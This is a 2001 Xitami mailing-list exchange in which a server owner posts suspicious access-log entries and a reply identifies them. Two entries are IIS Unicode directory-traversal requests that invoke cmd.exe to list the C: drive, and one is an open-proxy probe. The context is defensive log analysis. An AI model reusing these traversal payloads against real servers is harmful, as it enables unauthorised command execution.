[Xitami] Access Log

[Paul Richards]

The first two, are exploits in IIS - microsoft's web server, with regards to
uni-code strings.

The 3rd one would be scanning for web proxy's which could be used
anonymously.

The 4th string appears to be what the ftp service logs in xitami when a user
issues an "ls" command. This seems like a confusing way to log this? ewen?

Paul Richards


-----Original Message-----
From: xitami-admin@lists.xitami.org
[mailto:xitami-admin@lists.xitami.org]On Behalf Of Hans Stuck
Sent: 11 June 2001 20:41
To: xitami@lists.xitami.org
Subject: [Xitami] Access Log


I have noticed anonymous attempts to FTP my server, which I think is strange
since I haven't informed anyone of my webserver... so I think they may be
using a scanner.

Here are a few exerpts that interest me:

209.250.128.133 - - [08/Jun/2001:10:14:18 -0500] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.0" 404 0

209.250.128.133 - - [08/Jun/2001:10:14:19 -0500] "GET
/msadc/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+d
ir+c:
HTTP/1.0" 404 0

61.139.59.73 - - [08/Jun/2001:16:38:03 -0500] "GET http://www.yahoo.com/
HTTP/1.1" 404 0

62.42.174.237 - anonymous [08/Jun/2001:17:12:27 -0500]
"ftp://62.42.174.237/C:\WINDOWS\TEMP\./ls000001.ftp" 226 -1

Can anyone explain the significance of these?

Thanks
_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com


--
Xitami Users Mailing List -- For Xitami support
To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami